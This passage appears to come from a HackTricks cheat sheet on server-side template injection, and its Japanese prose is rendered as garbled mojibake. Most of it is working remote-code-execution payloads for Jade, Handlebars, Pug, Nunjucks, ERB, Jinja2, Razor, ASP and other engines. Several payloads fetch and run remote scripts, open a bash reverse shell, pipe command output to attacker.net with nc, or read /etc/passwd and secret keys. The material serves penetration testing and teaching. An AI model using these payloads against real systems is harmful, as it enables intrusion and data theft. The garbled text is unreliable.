### PHPlib ãš HTML\_Template\_PHPLIB (PHP)
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) 㯠PHPlib ãšåãã§ãããPear ã«ç§»æ€ãããŠããŸãã
`authors.tpl`
```html
{PAGE_TITLE}
Authors
Name | Email |
{NUM_AUTHORS} |
{AUTHOR_NAME} | {AUTHOR_EMAIL} |
```
`authors.php`
```php
'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
**詳现æ
å ±**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)
### Jade (NodeJS)
```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```
```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
**詳现æ
å ±**
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) ã®Jadeã»ã¯ã·ã§ã³
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) ã¯ãXMLã¿ã°ã䜿çšããŠããã¥ã¡ã³ããç°ãªãéšåã«åå²ããéã³ã³ãã€ã«åã®PHPãã³ãã¬ãŒãã£ã³ã°ãšã³ãžã³ã§ãã
```xml
This is the main page.
It contains another template.
Hello {NAME}.
```
**詳现æ
å ±**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate)
### Handlebars (NodeJS)
ãã¹ã»ãã©ããŒãµã«ïŒè©³çŽ°æ
å ±ã¯[ãã¡ã](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)ïŒã
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
* \= ãšã©ãŒ
* ${7\*7} = ${7\*7}
* äœããªã
```java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
```
**詳现æ
å ±**
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
### JsRender (NodeJS)
| **ãã³ãã¬ãŒã** | **説æ** |
| ---------------- | ------------------------------------ |
| | åºåãè©äŸ¡ããŠã¬ã³ããªã³ã°ãã |
| | HTMLãšã³ã³ãŒããããåºåãè©äŸ¡ããŠã¬ã³ããªã³ã°ãã |
| | ã³ã¡ã³ã |
| ãã㊠| ã³ãŒããèš±å¯ããïŒããã©ã«ãã§ç¡å¹ïŒ |
* \= 49
**ã¯ã©ã€ã¢ã³ããµã€ã**
```python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
**ãµãŒããŒãµã€ã**
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
**詳现æ
å ±**
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
### PugJs (NodeJS)
* `#{7*7} = 49`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
**äŸ ãµãŒããŒãµã€ãã¬ã³ããªã³ã°**
```javascript
var pugjs = require('pug');
home = pugjs.render(injected_page)
```
**More information**
* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
### NUNJUCKS (NodeJS)
* \{{7\*7\}} = 49
* \{{foo\}} = åºåãªã
* \#{7\*7} = #{7\*7}
* \{{console.log(1)\}} = ãšã©ãŒ
```javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
```
**詳现æ
å ±**
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
### ERB (Ruby)
* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
* `<%= foobar %> = ãšã©ãŒ`
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
**詳现æ
å ±**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
### Slim (Ruby)
* `{ 7 * 7 }`
```
{ %x|env| }
```
**詳现æ
å ±**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
### Python
以äžã®ããŒãžããã§ãã¯ããŠãPythonã§ã®**ãµã³ãããã¯ã¹ãåé¿ããä»»æã®ã³ãã³ãå®è¡**ã«é¢ããããªãã¯ãåŠãã§ãã ããïŒ
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
### Tornado (Python)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{foobar}} = Error`
* `{{7*'7'}} = 7777777`
```python
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
```
**詳现æ
å ±**
* [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)
### Jinja2 (Python)
[å
¬åŒãŠã§ããµã€ã](http://jinja.pocoo.org)
> Jinja2ã¯Pythonçšã®ãã«æ©èœã®ãã³ãã¬ãŒããšã³ãžã³ã§ããå®å
šãªUnicodeãµããŒãããªãã·ã§ã³ã®çµ±åããããµã³ãããã¯ã¹å®è¡ç°å¢ãåããŠãããåºã䜿çšãããŠãããBSDã©ã€ã»ã³ã¹ã§ãã
* `{{7*7}} = ãšã©ãŒ`
* `${7*7} = ${7*7}`
* `{{foobar}} äœããªã`
* `{{4*4}}[[5*5]]`
* `{{7*'7'}} = 7777777`
* `{{config}}`
* `{{config.items()}}`
* `{{settings.SECRET_KEY}}`
* `{{settings}}`
* ``
```python
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
**Jinja2 - ãã³ãã¬ãŒã圢åŒ**
```python
{% raw %}
{% extends "layout.html" %}
{% block body %}
{% endblock %}
{% endraw %}
```
[**RCEã¯**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`ã«äŸåããªã:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```
**Jinjaãæªçšããæ¹æ³ã®è©³çŽ°**:
{% content-ref url="jinja2-ssti.md" %}
[jinja2-ssti.md](jinja2-ssti.md)
{% endcontent-ref %}
ä»ã®ãã€ããŒãã¯[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)ã«ãããŸãã
### Mako (Python)
```python
<%
import os
x=os.popen('id').read()
%>
${x}
```
**詳现æ
å ±**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
### Razor (.Net)
* `@(2+2) <= æå`
* `@() <= æå`
* `@("{{code}}") <= æå`
* `@ <= æå`
* `@{} <= ãšã©ãŒïŒ`
* `@{ <= ãšã©ãŒïŒ`
* `@(1+2)`
* `@( //C#ã³ãŒã )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
.NETã®`System.Diagnostics.Process.Start`ã¡ãœããã¯ããµãŒããŒäžã§ä»»æã®ããã»ã¹ãéå§ãããŠã§ãã·ã§ã«ãäœæããããã«äœ¿çšã§ããŸããè匱ãªãŠã§ãã¢ããªã®äŸã¯[https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)ã§èŠã€ããããšãã§ããŸãã
**詳现æ
å ±**
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
### ASP
* `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo
* `<%= foo %>` = äœã衚瀺ãããŸãã
* `<%= response.write(date()) %>` = \<æ¥ä»>
```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
**詳现æ
å ±**
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
### Mojolicious (Perl)
Perlã§ãã£ãŠããRubyã®ERBã®ãããªã¿ã°ã䜿çšããŸãã
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Error`
```
<%= perl code %>
<% perl code %>
```
### SSTI in GO
Goã®ãã³ãã¬ãŒããšã³ãžã³ã§ã¯ãç¹å®ã®ãã€ããŒãã䜿çšããŠãã®å©çšã確èªã§ããŸãïŒ
* `{{ . }}`: ããŒã¿æ§é ã®å
¥åãæããã«ããŸããããšãã°ã`Password`å±æ§ãæã€ãªããžã§ã¯ããæž¡ããããšã`{{ .Password }}`ããããé²åºããå¯èœæ§ããããŸãã
* `{{printf "%s" "ssti" }}`: æåå "ssti" ã衚瀺ããããšãæåŸ
ãããŸãã
* `{{html "ssti"}}`, `{{js "ssti"}}`: ãããã®ãã€ããŒã㯠"ssti" ãè¿ãã¹ãã§ããã"html" ã "js" ãè¿œå ããªãã¯ãã§ãããããªãæ瀺ã¯Goã®ããã¥ã¡ã³ãã§æ¢ãããšãã§ããŸã [ãã¡ã](https://golang.org/pkg/text/template)ã
**XSS Exploitation**
`text/template`ããã±ãŒãžã䜿çšãããšããã€ããŒããçŽæ¥æ¿å
¥ããããšã§XSSãç°¡åã«å®è¡ã§ããŸãã察ç
§çã«ã`html/template`ããã±ãŒãžã¯ãã®ããã«ã¬ã¹ãã³ã¹ããšã³ã³ãŒãããŸãïŒäŸïŒ`{{""}}`ã¯`<script>alert(1)</script>`ã«ãªããŸãïŒãããã«ãããããããGoã«ããããã³ãã¬ãŒãã®å®çŸ©ãšåŒã³åºãã¯ãã®ãšã³ã³ãŒãã£ã³ã°ãåé¿ã§ããŸãïŒ\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
**RCE Exploitation**
RCEã®æªçšã¯ã`html/template`ãš`text/template`ã®éã§å€§ããç°ãªããŸãã`text/template`ã¢ãžã¥ãŒã«ã¯ãä»»æã®å
¬éé¢æ°ãçŽæ¥åŒã³åºãããšãèš±å¯ããŸãïŒâcallâå€ã䜿çšïŒãããã¯`html/template`ã§ã¯èš±å¯ãããŠããŸããããããã®ã¢ãžã¥ãŒã«ã®ããã¥ã¡ã³ãã¯ã[html/templateã¯ãã¡ã](https://golang.org/pkg/html/template/)ãš[ text/templateã¯ãã¡ã](https://golang.org/pkg/text/template/)ã§å
¥æã§ããŸãã
Goã«ãããSSTIãä»ããRCEã§ã¯ããªããžã§ã¯ãã¡ãœãããåŒã³åºãããšãã§ããŸããããšãã°ãæäŸããããªããžã§ã¯ãã«ã³ãã³ããå®è¡ãã`System`ã¡ãœãããããå Žåã`{{ .System "ls" }}`ã®ããã«æªçšã§ããŸãããããæªçšããã«ã¯ãéåžžããœãŒã¹ã³ãŒãã«ã¢ã¯ã»ã¹ããå¿
èŠããããŸãã
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
```
**詳现æ
å ±**
* [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
### ãããªããšã¯ã¹ããã€ã
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) ã§ä»ã®ãšã¯ã¹ããã€ãã確èªããŠãã ããããŸãã[https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) ã§èå³æ·±ãã¿ã°æ
å ±ãèŠã€ããããšãã§ããŸãã
## BlackHat PDF
{% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
## é¢é£ãã«ã
圹ç«ã€ãšæãå Žåã¯ã以äžããèªã¿ãã ããïŒ
* [Flaskã®ããªãã¯](../../network-services-pentesting/pentesting-web/flask.md)
* [Pythonã®ããžãã¯é¢æ°](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)
## ããŒã«
* [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA)
* [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap)
* [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
* [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
## ãã«ãŒããã©ãŒã¹æ€åºãªã¹ã
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
## å®è·µãšåè
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
* [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)
âââ[**RootedCON**](https://www.rootedcon.com/) 㯠**ã¹ãã€ã³** ã§æãéèŠãªãµã€ããŒã»ãã¥ãªãã£ã€ãã³ãã§ããã**ãšãŒããã** ã§æãéèŠãªã€ãã³ãã®äžã€ã§ãã**æè¡ç¥èã®ä¿é²**ã䜿åœãšãããã®äŒè°ã¯ããããåéã®æè¡ãšãµã€ããŒã»ãã¥ãªãã£ã®å°é家ãéãŸãç±ã亀æµã®å Žã§ãã
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCPãããã³ã°ãåŠã³ãå®è·µããïŒ[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksããµããŒããã
* [**ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³**](https://github.com/sponsors/carlospolop)ã確èªããŠãã ããïŒ
* **ð¬ [**Discordã°ã«ãŒã**](https://discord.gg/hRep4RUj7f)ãŸãã¯[**ãã¬ã°ã©ã ã°ã«ãŒã**](https://t.me/peass)ã«åå ãããã**Twitter** ðŠ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**ããã©ããŒããŠãã ããã**
* **ãããã³ã°ããªãã¯ãå
±æããããã«ã[**HackTricks**](https://github.com/carlospolop/hacktricks)ããã³[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)ã®GitHubãªããžããªã«PRãæåºããŠãã ããã**
{% endhint %}